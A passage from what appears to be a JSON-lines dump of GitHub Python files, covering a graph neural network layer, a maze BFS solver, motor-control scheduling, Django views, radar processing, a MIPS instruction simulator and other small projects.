self.e_lin = Dense(\n in_features=ef_dim,\n out_features=hidden_dim,\n activation_fn=None,\n bias=False\n )\n \n self.merge_lin = nn.Sequential(\n Dense(\n in_features=2 * (hidden_dim),\n out_features=hidden_dim,\n activation_fn=activation_fn\n ),\n Residual(\n mlp_num=2,\n hidden_dim=hidden_dim,\n activation_fn=activation_fn\n ),\n )\n \n\n\n def forward(self, \n kemb: torch.Tensor,\n ef: torch.Tensor,\n **kwargs\n ):\n \n \n self_message, kemb_0, kemb_1 = [self.emb_lins[i](kemb) for i in range(3)]\n \n if self.e_mode == 'E':\n if self.use_concat:\n e = self.e_lin(torch.cat([ef, kemb], dim=-1))\n else:\n e = self.e_lin(ef) * self.e_tuple_lin(kemb)\n elif self.e_mode == 'e':\n e = self.e_lin(ef)\n \n if self.e_mode == 'E' or self.e_mode == 'e':\n kemb_0 = torch.einsum('baid,bajd->bijd', e, kemb_0)\n kemb_1 = torch.einsum('bajd,biad->bijd', e, kemb_1)\n else:\n kemb_0 = torch.sum(kemb_0, dim=1, keepdim=True).repeat(1, kemb_0.shape[1], 1, 1)\n kemb_1 = torch.sum(kemb_1, dim=2, keepdim=True).repeat(1, 1, kemb_1.shape[2], 1)\n \n kemb = self_message * self.merge_lin(torch.cat([kemb_0, kemb_1], dim=-1))\n kemb_out = self.output_lin(kemb)\n \n return kemb_out\n\n\n\n\n \n \n","repo_name":"GraphPKU/DisGNN","sub_path":"layers/twoEDis/twoEDis_interaction.py","file_name":"twoEDis_interaction.py","file_ext":"py","file_size_in_byte":3843,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"20172812442","text":"# 2178\nimport sys\nfrom collections import deque\ninput= sys.stdin.readline\n\n# N= N개의 줄 , M= M개의 정수 로 (N,M)으로 미로\nN, M = map(int, input().split()) \ngraph_matrix = [[]*(M) for _ in range(N)]\nvisited = [[0]*(M) for _ in range(N)] # visited이 0이면 아직 방문하지않은거\n\n# 미로 정보 받아오기\nfor i in range(N):\n M_list= input().rstrip()\n for j in range(len(M_list)):\n graph_matrix[i].append(int(M_list[j]))\n\ndef BFS_with_adj_list(graph_matrix, first_x, first_y):\n queue= deque( [(first_x, first_y)] ) # 큐 선언\n visited[first_x][first_y]= 1 # 1,1부터 시작 -> 방문했다고 처리\n while queue:\n x, y = queue.popleft()\n if x == N-1 and y==M-1:\n print(visited[x][y])\n break\n\n # 4방향을 검사\n if (x+1 < N) and (visited[x+1][y] == 0) and (graph_matrix[x+1][y]== 1):\n visited[x+1][y]= visited[x][y]+ 1 # 한칸 이동했으므로 이동횟수 +1\n queue.append( (x+1, y) )\n if (x-1 >= 0) and (visited[x-1][y] == 0) and (graph_matrix[x-1][y]== 1):\n visited[x-1][y]= visited[x][y]+ 1\n queue.append( (x-1, y) )\n if ( y+1 < M) and (visited[x][y+1] == 0) and (graph_matrix[x][y+1]==1):\n visited[x][y+1] = visited[x][y]+ 1\n queue.append( (x, y+1) )\n if( y-1 >= 0) and (visited[x][y-1] == 0) and (graph_matrix[x][y-1]== 1):\n visited[x][y-1] = visited[x][y]+ 1\n queue.append( (x, y-1) ) \n\nBFS_with_adj_list(graph_matrix, 0, 0)\n\n","repo_name":"nohjunh/Algorithm","sub_path":"py/BOJ/2178.미로 탐색/S1.py","file_name":"S1.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"70277278028","text":"'''\n @file main.py\n @brief An adapted main file from basic_tasks.py\n @details This file contains a demonstration program that runs \n some tasks, an inter-task shared variable, and a queue. \n The tasks don't really do anything; the example just shows\n how these elements are created and run. \n We added motor control functions that act as the \n scheduler.\n\n @author Jeremy Baechler\n @author Kendall Chappell\n @author Matthew Wimberley\n @date 31-Jan-2022\n '''\n\nimport gc\nimport pyb\nimport cotask\nimport task_share\nimport EncoderReader, controlloop, pyb, utime\nimport motor_baechler_chappell_wimberley as motor_drv\n\n\n\ndef motor1_func ():\n '''\n @brief instantiates motor 1 object\n @details This function reads the encoder data, which the controller\n uses to find the new PWM, which then sets the new motor\n speed.\n\n '''\n while True:\n try:\n PWM1 = controller1.run(enc1.read())\n controller1.add_data()\n# print('Motor 1 Data:', enc1.read(), PWM1)\n mot1.set_duty(PWM1)\n yield (0)\n except:\n pass\n \n \n\ndef motor2_func():\n '''\n @brief instantiates motor 2 object\n @details This function reads the encoder data, which the controller\n uses to find the new PWM, which then sets the new motor\n speed.\n\n '''\n while True:\n try:\n PWM2 = controller2.run(enc2.read())\n controller2.add_data()\n# print('Motor 2 Data:', enc2.read(), PWM2)\n mot2.set_duty(PWM2)\n yield (0)\n except:\n pass\n\n\ndef task2_fun ():\n '''\n @brief prints data from shares and queues\n @details Because this is a generator, we only print the data\n at our discretion.\n '''\n \n while True:\n # Show everything currently in the queue and the value in the share\n print (\"Share: {:}, Queue: \".format (share0.get ()), end='');\n while q0.any ():\n print (\"{:} \".format (q0.get ()), end='')\n print ('')\n\n yield (0)\n\n\n# This code creates a share, a queue, and two tasks, then starts the tasks. The\n# tasks run until somebody presses ENTER, at which time the scheduler stops and\n# printouts show diagnostic information about the tasks, share, and queue.\nif __name__ == \"__main__\":\n print ('\\033[2JTesting ME405 stuff in cotask.py and task_share.py\\r\\n'\n 'Press ENTER to stop and show diagnostics.')\n\n # Create a share and a queue to test function and diagnostic printouts\n share0 = task_share.Share ('h', thread_protect = False, name = \"Share 0\")\n q0 = task_share.Queue ('L', 16, thread_protect = False, overwrite = False,\n name = \"Queue 0\")\n \n mot1_pos = task_share.Share('h', name='mot1_pos') #shares motor1 position\n des_pos = task_share.Share('h', name='des_pos') #shares desired position\n kp = task_share.Share('h', name='kp') #shares kp\n pwm1 = task_share.Share('h', name='pwm1') #shares motor 1 duty cycle\n\n \"\"\" PLEASE PLUG ENCODER 1 BLUE WIRE INTO B7 AND YELLOW WIRE TO B6\"\"\"\n ENA = pyb.Pin (pyb.Pin.board.PA10, pyb.Pin.OUT_PP) #motor 1 enabler\n IN1 = pyb.Pin (pyb.Pin.board.PB4, pyb.Pin.OUT_PP) \n IN2 = pyb.Pin (pyb.Pin.board.PB5, pyb.Pin.OUT_PP) #motor port A pins\n tim3 = pyb.Timer (3, freq=20000) #timer 3 \n\n \"\"\"PLEASE PLUG ENCODER 2 BLUE WIRE INTO C7 AND YELLOW WIRE TO C6\"\"\"\n ENB = pyb.Pin (pyb.Pin.board.PC1, pyb.Pin.OUT_PP) #motor 2 enabler\n IN3 = pyb.Pin (pyb.Pin.board.PA0, pyb.Pin.OUT_PP)\n IN4 = pyb.Pin (pyb.Pin.board.PA1, pyb.Pin.OUT_PP) #motor port B pins\n tim5 = pyb.Timer (5, freq=20000) #using timer 5, must be different than m1\n\n mot1 = motor_drv.MotorDriver(ENA, IN1, IN2, tim3) #instants motor object\n enc1 = EncoderReader.EncoderReader(1) #instantiates encoder reader object\n controller1 = controlloop.ClosedLoop(.4, 30000) #sets gain and setpoint of m1\n\n mot2 = motor_drv.MotorDriver(ENB, IN3, IN4, tim5) #now for motor 1 \n enc2 = EncoderReader.EncoderReader(2) #now for encoder 1\n controller2 = controlloop.ClosedLoop(.4, 30000) #sets gain and setpoint of m2\n\n # Create the tasks. If trace is enabled for any task, memory will be\n # allocated for state transition tracing, and the application will run out\n # of memory after a while and quit. Therefore, use tracing only for \n # debugging and set trace to False when it's not needed\n task1 = cotask.Task (motor1_func, name = 'MotorTask_1', priority = 1, \n period = 10, profile = True, trace = False)\n# task2 = cotask.Task (motor2_func, name = 'MotorTask_2', priority = 1, \n# period = 1, profile = True, trace = False)\n #runs task on motor 2, controlling the object\n \n cotask.task_list.append (task1)\n# cotask.task_list.append (task2)\n\n # Run the memory garbage collector to ensure memory is as defragmented as\n # possible before the real-time scheduler is started\n gc.collect ()\n\n # Run the scheduler with the chosen scheduling algorithm. Quit if any \n # character is received through the serial port\n vcp = pyb.USB_VCP ()\n while not vcp.any ():\n cotask.task_list.pri_sched ()\n\n # Empty the comm port buffer of the character(s) just pressed\n vcp.read ()\n \n \n for i in range(len(controller1.time)):\n print(controller1.time[i], ',', controller1.listpos[i])\n \n print('Stop Transmission')\n \n \n\n# Print a table of task data and a table of shared information data\n print ('\\n' + str (cotask.task_list))\n print (task_share.show_all ())\n print (task1.get_trace ())\n print ('\\r\\n')\n","repo_name":"jedbaechler/ME405-Lab3","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39114337151","text":"from django.shortcuts import render\nfrom django.core.paginator import Paginator\nfrom django.views.generic.detail import DetailView\nfrom django.views.generic.list import ListView\nfrom django.http import JsonResponse\nfrom django.template.loader import render_to_string\nfrom pymorphy2 import MorphAnalyzer\nfrom .utils import *\n\n\ndef index(request):\n \"\"\" Renders main page and handles user's word requests\"\"\"\n form = WordForm(request.GET or None, is_authenticated=request.user.is_authenticated)\n context = {'form': form, 'num_of_words': Tatar.objects.count()}\n if form.is_valid():\n word, tatar_word = get_tatar_twin(form)\n context.update({'tatar_word': tatar_word})\n response = render(request, 'core/index.html', context)\n set_entry(request, tatar_word, word, response)\n return response\n return render(request, 'core/index.html', context)\n\n\ndef tatar_word_ajax(request):\n \"\"\" Handles ajax requests caused by submit button\"\"\"\n form = WordForm(request.GET, is_authenticated=request.user.is_authenticated)\n if form.is_valid():\n word, tatar_word = get_tatar_twin(form)\n tatar_info = render_to_string('core/tatar_info.html', {'tatar_word': tatar_word, 'word': word})\n response = JsonResponse({'status': 'OK', 'info': tatar_info})\n set_entry(request, tatar_word, word, response)\n return response\n else:\n tatar_errors = render_to_string('core/tatar_errors.html', {'form': form})\n return JsonResponse({'status': 'ERROR', 'info': tatar_errors})\n\n\ndef show_history(request):\n \"\"\" Renders page with history entries using paginator \"\"\"\n objects_per_page = 10\n entries = get_all_entries(request)\n paginator = Paginator(entries, objects_per_page)\n page_num = request.GET.get('page', 1)\n page = paginator.get_page(page_num)\n pos_addition = (int(page_num)-1)*objects_per_page\n context = {'pairs': page.object_list, 'page': page, 'pos_addition': pos_addition}\n return render(request, 'core/history.html', context)\n\n\nclass TatarDetailView(DetailView):\n model = Tatar\n context_object_name = 'tatar_word'\n\n\nclass TopTatarListView(ListView):\n template_name = 'core/top.html'\n context_object_name = 'top_tatar_words'\n queryset = Tatar.objects.top(5)\n\n def get_context_data(self, *, object_list=None, **kwargs):\n parse = MorphAnalyzer().parse(\"раз\")[0] # To get right form of word 'раз'\n context, tatar_words_and_times_hit = super().get_context_data(), {}\n for tatar in context[self.context_object_name]:\n times = parse.make_agree_with_number(tatar.hit).word\n tatar_words_and_times_hit[tatar] = times\n context[self.context_object_name] = tatar_words_and_times_hit\n return context\n\n\n\n","repo_name":"nopilei/django-tatartwin-project","sub_path":"tatartwin/apps/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23674143347","text":"# parses hex input into component instruction parts\nclass instruction():\n func_dict = {'100000':'add',\n '100110':'xor',\n '011001':'multu',\n '000010':'srl',\n '010000':'mfhi',\n '010010':'mflo',\n '101010':'slt',\n '001000':'addi',\n '000100':'beq',\n '000101':'bne',\n '001101':'ori',\n '101011':'sw',\n '001100':'andi',\n '001111':'lui',\n '100100':'lbu',\n '100000':'lb',\n '100011':'lw',\n '101000':'sb',\n '101011':'sw'}\n\n def __init__(self, hex_num):\n temp_num = int(hex_num, 16) # convert the input string to type int\n\n self.hex_num = hex_num # this just makes the hex number pretty with the 0x\n\n #make a binary string, the format gets rid of the 0b prefix in the string\n self.binary_string = format(temp_num, '0{}b'.format(32))\n # the string[0:3] syntax means the first 4 characters of string, use this fact to decode the binary\n self.opcode = self.binary_string[0:6]\n if self.opcode == '000000': # all r_types have this opcode, and function is the last 5 bits\n self.func = self.binary_string[26:32]\n self.type = 'r_type'\n else: # in this case type i\n self.func = self.opcode\n self.type = 'i_type'\n self.rs = int(self.binary_string[6:11], 2)\n self.rt = int(self.binary_string[11:16], 2)\n self.rd = int(self.binary_string[16:21], 2)\n self.shamt = int(self.binary_string[21:26], 2) # shift amount\n self.heximm = self.binary_string[16:32]\n if self.binary_string[16] == '1': # check the immediate for negative numbers and convert if needed\n self.imm = -((int(self.binary_string[16:32], 2) ^ 0xFFFF) + 1)\n else:\n self.imm = int(self.binary_string[16:32], 2)\n try:\n self.name = func_dict[self.func] # this will lookup the string name of the function in func_dict\n except:\n self.name = 'null'\n def heximm(self):\n self.imm = self.binary_string[16:32]\n def print(self):\n if self.type == 'r_type':\n print(self.hex_num + ' is ' + self.name + ' $' + str(self.rd) + ', $' + str(self.rs) + ', $' + str(self.rt))\n else:\n print(self.hex_num + ' is ' + self.name + ' $' + str(self.rt) + ', $' + str(self.rs) + ', ' + str(self.imm))\n def shiftopprint(self):\n print(self.hex_num + ' is ' + self.name + ' $' + str(self.rt) + ', $' + str(self.rs) + ', ' + str(self.shamt))\n\ndef sextb(num, bits):\n if (num < 0): # signed extension\n imm = 65536 + num # removes negative sign\n imm = str(format(int(imm),'0' + bits + 'b'))\n i = 0\n zeros = 0\n ones = str()\n while imm[i] != '1':\n zeros += 1\n ones = ones + '1'\n i += 1\n imm = ones + imm[zeros:] \n else:\n imm = str(format(int(num),'0' + bits + 'b'))\n return imm\n\ndef print_all(registers, memory):\n print('Register Contents:')\n for value in registers.items():\n if value[1] != None:\n print(value)\n print('Memory Contents:')\n for value in memory.items():\n print(value)\n\n# supported instruction functions\ndef andi(instruction, registers, debug, memory): # Done/Working\n operand1 = registers[instruction.rs]\n if (str(operand1).count('x') > 0):\n operand1 = int(operand1, 16)\n if(operand1 < 0):\n operand1 = 65536 - operand1\n operand2 = int((instruction.heximm).zfill(32), 2)\n andVal = operand1 & operand2\n registers[instruction.rt] = hex(andVal)\n #print(hex(operand1),hex(operand2), hex(andVal), registers['PC'])\n if debug:\n instruction.print()\n print_all(registers, memory)\n registers['PC'] += 4\n return registers\n\ndef addi(instruction, registers, debug, memory): # Done/Working\n operand1 = registers[instruction.rs]\n if (str(operand1).count('x') > 0):\n operand1 = int(operand1, 16)\n operand2 = instruction.imm\n #print(operand1,operand2,)\n sum = operand1 + operand2\n #print(operand1,operand2,sum)\n registers[instruction.rt] = hex(sum)\n if debug:\n instruction.print()\n print_all(registers, memory)\n registers['PC'] += 4\n return registers\n\ndef add(instruction, registers, debug, memory): # Done/Working\n operand1 = registers[instruction.rs]\n operand2 = registers[instruction.rt]\n registers[instruction.rd] = hex(operand1 + operand2)\n if debug:\n instruction.print()\n print_all(registers, memory)\n registers['PC'] += 4\n return registers\n\ndef beq(instruction, registers, debug, memory): # Done/Working\n operand1 = registers[instruction.rs]\n operand2 = registers[instruction.rt]\n if debug:\n instruction.print()\n print_all(registers, memory)\n if (operand1 == operand2):\n registers['PC'] += (4 + (instruction.imm << 2))\n else:\n registers['PC'] += 4\n return registers\n\ndef bne(instruction, registers, debug, memory): # Done/Working\n operand1 = registers[instruction.rs]\n if (str(operand1).count('x') > 0):\n operand1 = int(operand1, 16)\n operand2 = registers[instruction.rt]\n if (str(operand2).count('x') > 0):\n operand2 = int(operand2, 16)\n if debug:\n instruction.print()\n print_all(registers, memory)\n if (operand1 != operand2):\n registers['PC'] += (4 + (instruction.imm << 2))\n else:\n registers['PC'] += 4\n print(operand1 != operand2,operand1,operand2, instruction.imm, registers['PC'])\n return registers\n\ndef ori(instruction, registers, debug, memory): # Done/Working\n #print(registers[instruction.rs])\n operand1 = registers[instruction.rs]\n if (str(operand1).count('x') > 0):\n operand1 = int(operand1, 16)\n else:\n operand1 = int(operand1)\n operand2 = int(sextb(instruction.imm, '16'), 2)\n oriVal = operand1 | operand2\n registers[instruction.rt] = hex(oriVal)\n #print(hex(operand1), hex(operand2),hex(oriVal))\n if debug:\n instruction.print()\n print_all(registers, memory)\n registers['PC'] += 4\n return registers\n\ndef xor(instruction, registers, debug, memory): # Done/Working\n operand1 = registers[instruction.rs]\n if (str(operand1).count('x') > 0):\n operand1 = int(operand1, 16)\n else:\n operand1 = int(operand1)\n operand2 = int(registers[instruction.rt], 16)\n if (str(operand2).count('x') > 0):\n operand2 = int(operand2, 16)\n else:\n operand2 = int(operand2)\n #print(registers[instruction.rs],registers[instruction.rt])\n registers[instruction.rd] = hex(operand1 ^ operand2)\n #print(hex(operand1),hex(operand2),registers[instruction.rd], registers['PC'])\n if debug:\n instruction.print()\n print_all(registers, memory)\n registers['PC'] += 4\n return registers\n\ndef multu(instruction, registers, debug, memory): # Done/Working\n # print(registers[instruction.rs],registers[instruction.rt])\n operand1 = int(registers[instruction.rs], 16)\n operand2 = int(registers[instruction.rt], 16)\n product = operand1 * operand2\n product = format(product, '064b')\n registers['hi'] = hex(int(product[0:32], 2))\n registers['lo'] = hex(int(product[32:64], 2))\n #print(hex(operand1),hex(operand2),registers['hi'], registers['lo'])\n if debug:\n instruction.print()\n print_all(registers, memory)\n registers['PC'] += 4\n return registers\n\ndef mfhi(instruction, registers, debug, memory): # Done/Working\n registers[instruction.rd] = registers['hi']\n #print(registers['hi'])\n if debug:\n instruction.print()\n print_all(registers, memory)\n registers['PC'] += 4\n return registers\n\ndef mflo(instruction, registers, debug, memory): # Done/Working\n registers[instruction.rd] = registers['lo']\n #print('lo'+registers['lo'])\n if debug:\n instruction.print()\n print_all(registers, memory)\n registers['PC'] += 4\n return registers\n\ndef slt(instruction, registers, debug, memory):\n operand1 = registers[instruction.rs]\n if (str(operand1).count('x') > 0):\n operand1 = int(operand1, 16)\n else:\n operand1 = int(operand1)\n operand2 = registers[instruction.rt]\n if (str(operand2).count('x') > 0):\n operand2 = int(operand2, 16)\n else:\n operand2 = int(operand2)\n registers[instruction.rd] = int(operand1 < operand2) # turn bool into 1 or 0\n print(hex(operand1),hex(operand2), registers[instruction.rd])\n if debug:\n instruction.print()\n print_all(registers, memory)\n registers['PC'] += 4\n return registers\n\ndef srl(instruction, registers, debug, memory): # Done/Working\n operand1 = bin(int(registers[instruction.rt], 16))[2:]\n #print(operand1)\n operand2 = instruction.shamt # good catch!\n registers[instruction.rd] = hex(int(operand2 * '0' + operand1[:-operand2], 2))\n #print(hex(int(operand1,2)),hex(operand2), registers[instruction.rd])\n if debug:\n instruction.shiftopprint()\n print_all(registers, memory)\n registers['PC'] += 4\n return registers\n\ndef lui(instruction, registers, debug, memory): # Done/Working\n imm = int(sextb(instruction.imm, '16'), 2)\n registers[instruction.rt] = hex(int(bin(imm)[2:] + '0000000000000000', 2))\n #print(hex(instruction.imm), hex(imm), registers[instruction.rt])\n if debug:\n instruction.print()\n print_all(registers, memory)\n registers['PC'] += 4\n return registers\n\ndef lbu(instruction, registers, debug, memory): # FIX MEEEE!!!!!\n address = registers[instruction.rs]\n offset = instruction.imm\n #print(address, offset, registers[instruction.rt])\n if (str(address).count('x') > 0):\n address = int(address, 16)\n memAddress = memory[address + offset]\n byte = int(memAddress) & 0xff\n registers[instruction.rt] = hex(byte)\n if debug:\n instruction.print()\n print_all(registers, memory)\n registers['PC'] += 4\n #print(address, offset,byte,registers['PC'])\n return registers\n\ndef lb(instruction, registers, debug, memory): # Correct??\n address = registers[instruction.rs]\n offset = instruction.imm\n byteLoc = int(hex(0x00000011), 16) << offset\n byte = memory[address] & byteLoc\n registers[instruction.rt] = hex(byte)\n if debug:\n instruction.print()\n print_all(registers, memory)\n registers['PC'] += 4\n return registers\n\ndef lw(instruction, registers, debug, memory):\n offset = registers[instruction.imm]\n registers[instruction.rt] = memory[offset]\n if debug:\n instruction.print()\n print_all(registers, memory)\n registers['PC'] += 4\n return registers\n\ndef sw(instruction, registers, debug, memory):\n addr_index = registers[instruction.rs]\n storeLoc = instruction.rt\n if (str(addr_index).count('x') > 0):\n addr_index = int(addr_index, 16)\n else:\n addr_index = int(addr_index)\n if (str(storeLoc).count('x') > 0):\n storeLoc = int(storeLoc, 16)\n offset = int(sextb(instruction.imm, '16'), 2)\n memory[addr_index + offset] = registers[instruction.rt]\n #print(addr_index, offset, registers[instruction.rd])\n if debug:\n instruction.print()\n print_all(registers, memory)\n registers['PC'] += 4\n return memory\n\ndef sb(instruction, registers, debug, memory):\n addr_index = int(registers[instruction.rs])\n offset = int(instruction.imm)\n memory[addr_index + offset] = hex(registers[instruction.rt])\n #print(addr_index, offset, int(registers[instruction.rt],2))\n if debug:\n instruction.print()\n print_all(registers, memory)\n registers['PC'] += 4\n return memory\n\n# dictionaries of functions\nr_types = {'100000':add,\n '100110':xor,\n '011001':multu,\n '000010':srl,\n '010000':mfhi,\n '010010':mflo,\n '101010':slt}\ni_types = {'001000':addi,\n '000100':beq,\n '000101':bne,\n '001101':ori,\n '101011':sw,\n '001100':andi,\n '001111':lui,\n '100100':lbu,\n '100000':lb,\n '100011':lw,\n '101000':sb,\n '101011':sw}\n\n","repo_name":"jokomo24/ECE366_Project2_Grp13","sub_path":"366_Project_2/MIPS_Simulator2/MIPS_Simulator2/ASMOperations.py","file_name":"ASMOperations.py","file_ext":"py","file_size_in_byte":12388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"10648515054","text":"import math\nimport logging\n\nfrom isceobj.Constants import SPEED_OF_LIGHT\n\nlogger = logging.getLogger('isce.isceProc.runPrepareResamps')\n\ndef runPrepareResamps(self, rgLooks=None, azLooks=None):\n refScene = self._isce.refScene\n refPol = self._isce.refPol\n\n orbit = self._isce.orbits[refScene][refPol]\n frame = self._isce.frames[refScene][refPol]\n peg = self._isce.peg\n slcImage = self._isce.slcImages[refScene][refPol]\n\n time, schPosition, schVelocity, offset = orbit._unpackOrbit()\n s2 = schPosition[0][0]\n s2_2 = schPosition[1][0]\n\n lines = self._isce.numberPatches * self._isce.numberValidPulses\n self._isce.numberResampLines = lines\n\n fs = frame.getInstrument().getRangeSamplingRate()\n dr = (SPEED_OF_LIGHT / (2 * fs))\n self._isce.slantRangePixelSpacing = dr\n\n widthSlc = slcImage.getWidth()\n\n radarWavelength = frame.getInstrument().getRadarWavelength()\n\n rc = peg.getRadiusOfCurvature()\n ht = self._isce.averageHeight\n r0 = frame.getStartingRange()\n\n range = r0 + (widthSlc / 2 * dr)\n\n costheta = (2*rc*ht+ht*ht-range*range)/-2/rc/range\n sininc = math.sqrt(1 - (costheta * costheta))\n\n posting = self.posting\n grndpixel = dr / sininc\n\n if rgLooks:\n looksrange = rgLooks\n else:\n looksrange = int(posting/grndpixel+0.5)\n\n if azLooks:\n looksaz = azLooks\n else:\n looksaz = int(round(posting/(s2_2 - s2)))\n\n if (looksrange < 1):\n logger.warning(\"Number range looks less than zero, setting to 1\")\n looksrange = 1\n if (looksaz < 1):\n logger.warning(\"Number azimuth looks less than zero, setting to 1\")\n looksaz = 1\n\n self._isce.numberAzimuthLooks = looksaz\n self._isce.numberRangeLooks = looksrange\n","repo_name":"isce-framework/isce2","sub_path":"components/isceobj/IsceProc/runPrepareResamps.py","file_name":"runPrepareResamps.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","stars":431,"dataset":"github-code","pt":"82"} +{"seq_id":"11248428097","text":"import DIEUWKGF\n\n\ndef decode(message):\n messageL = list(message)\n code = checkAuth(messageL)\n decodedMessage = ''\n\n # unscrambles every letter\n for mes in messageL:\n i = DIEUWKGF.getDecode(code, mes)\n decodedMessage += i\n\n return decodedMessage\n\n\n# makes sure the code is present else terminates program\ndef checkAuth(check):\n checked = DIEUWKGF.getCodeType(check)\n if checked == 404:\n print(\"error you dont have authorization to see this\")\n exit(0)\n return checked\n\n","repo_name":"Srcodesalot/D-Ciphered","sub_path":"Decoder.py","file_name":"Decoder.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"72713283469","text":"from school import School, Teacher, Course, Student\n\n# School\nuc_davis = School(\"UC Davis\", \"USA\")\n\n# Teachers\nteacher_1 = Teacher(\"Dean\", \"Sirianni\")\nteacher_2 = Teacher(\"Marvin\", \"Haskamp\")\nteacher_3 = Teacher(\"Justin\", \"Gribble\")\n\n# Courses\npython_course = Course(\"Intro to Python\", teacher_1, 50)\njavascript_course = Course(\"Intro to Javascript\", teacher_2, 75)\ncpp_course = Course(\"Intro to Programming with C++\", teacher_3, 100)\n\n# Students\nstudent_1 = Student(\"Jake\", \"Wilson\", 123, \"12/29/1986\")\nstudent_2 = Student(\"Mike\", \"Hughes\", 124, \"12/29/1977\")\nstudent_3 = Student(\"Jeff\", \"Kelly\", 125, \"01/29/1980\")\n\n# Methods\nuc_davis.add_courses([python_course, javascript_course, cpp_course])\nuc_davis.enroll_students([student_1, student_2, student_3])\n\nstudent_1.enroll_course(javascript_course)\nstudent_1.enroll_course(cpp_course)\n\nstudent_2.enroll_course(javascript_course)\n\nstudent_3.enroll_course(python_course)\nstudent_3.enroll_course(cpp_course)\n\n# Visualize your data [🤩]\nprint(\"Teachers: \", uc_davis.teachers)\nprint(\"Courses: \", uc_davis.courses)\nprint(\"Students: \", uc_davis.students)\nprint(\"Mikes Age (student): \", student_2.age)\nprint(\"Jake Wilson Courses: \", student_1.course_list)\n\n\"\"\" \nConsole Output\n\nTeachers: [Dean Sirianni, Marvin Haskamp, Justin Gribble]\nCourses: [Intro to Python, Intro to Javascript, Intro to Programming with C++]\nStudents: [Jake Wilson, Mike Hughes, Jeff Kelly]\nMikes Age (student): 45\nJake Wilson Courses: [Intro to Javascript, Intro to Programming with C++]\n\"\"\"","repo_name":"yeasir01/python-oop","sub_path":"school_class/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"4496315754","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[2]:\n\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\n# In[68]:\n\n\ndf1 = pd.read_csv(r'Crop_recommendation[1].csv')\n\n\n# In[131]:\n\n\ndf = df1[(df1['label'] == 'rice') | (df1['label'] == 'maize')]\n\n\n# In[95]:\n\n\ndf\n\n\n# In[201]:\n\n\nplt.xlabel('Temperature')\nplt.ylabel('Crop')\nplt.plot(x_train['temperature'], y_train, color='red')\nplt.scatter(df['temperature'], df['label'])\nplt.show()\n\n\n# In[136]:\n\n\nfrom sklearn.preprocessing import LabelEncoder\nencoder = LabelEncoder()\nencoder.fit(df['label'])\n\ndf['label'] = encoder.transform(df['label'])\n\n\n# In[ ]:\n\n\nfrom category_encoders import BinaryEncoder\nencoder = BinaryEncoder(col = ['label'])\nencoder.fit(df['label'])\n\ndf['label'] = encoder.transform(df['label'])\n\n\n# In[137]:\n\n\ndf\n\n\n# In[138]:\n\n\ny = df[['label']]\ny\n\n\n# In[162]:\n\n\nx = df.drop('label', axis = 'columns')\nx\n\n\n# In[218]:\n\n\nfrom sklearn.model_selection import train_test_split\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size = 0.2 )\n\n\n# In[219]:\n\n\nx_test \n\n\n# In[203]:\n\n\nfrom sklearn.linear_model import LinearRegression\nreg = LinearRegression()\nreg.fit(x_train, y_train)\nresult = reg.predict(x_test)\n\n\n# In[190]:\n\n\nresult\n\n\n# In[191]:\n\n\nplt.xlabel('Temperature')\nplt.ylabel('Crop')\nplt.scatter(x_test['temperature'], y_test, color='red')\nplt.plot(x_test['temperature'], result)\nplt.show()\n\n\n# In[175]:\n\n\nplt.plot(result, y_test)\nplt.show()\n\n","repo_name":"McSameer/Machine-Learning","sub_path":"basics/Untitled6.py","file_name":"Untitled6.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8579996599","text":"# Best Time to Buy and Sell Stock III\n# DP 가 익숙하지 않다.\n# 링크 : https://www.youtube.com/watch?v=0FKn0FSIQYE\n# front - 맨앞에서 최소 1번 샀다고 가정.\n# back - 맨뒤에는 최소 1번 팔았다고 가정 \nclass Solution:\n def maxProfit(self, prices: List[int]) -> int:\n if len(prices) == 0:\n return 0\n \n front_buy = [0]*len(prices)\n back_sell = [0]*len(prices)\n\n now_min = prices[0]\n for i in range(1, len(prices)):\n now_min = min(now_min,prices[i])\n front_buy[i] = max(front_buy[i-1], prices[i]-now_min) \n\n now_max = prices[len(prices)-1]\n for i in range(len(prices)-2,0,-1):\n now_max = max(now_max, prices[i])\n back_sell[i] = max(back_sell[i+1], now_max-prices[i])\n\n return max([back_sell[i] + front_buy[i] for i in range(len(back_sell))])\n\n# # first Buy -> first Sell -> second buy -> second sell\n# https://www.youtube.com/watch?v=gVavspgEHyM\n# MAX 로 한다(!?) \n# class Solution:\n# def maxProfit(self, prices: List[int]) -> int:\n# if len(prices) == 0:\n# return 0\n \n# fb = float('-inf')\n# fs = 0\n# sb = float('-inf')\n# ss = 0\n# for i in range(len(prices)):\n# fb = max(fb, -prices[i])\n# fs = max(fs, fb + prices[i])\n# sb = max(sb, fs-prices[i])\n# ss = max(ss, sb + prices[i])\n \n# return ss\n","repo_name":"whywhyy/daily-algol","sub_path":"2020/08/0818/leetcode/code01.py","file_name":"code01.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41823161858","text":"from rest_framework import viewsets\nfrom rest_framework.response import Response\nfrom rest_framework.permissions import IsAuthenticated\n\nfrom .serializers import *\nfrom .models import *\n\nclass tfRequestResponseViewSet(viewsets.ModelViewSet):\n 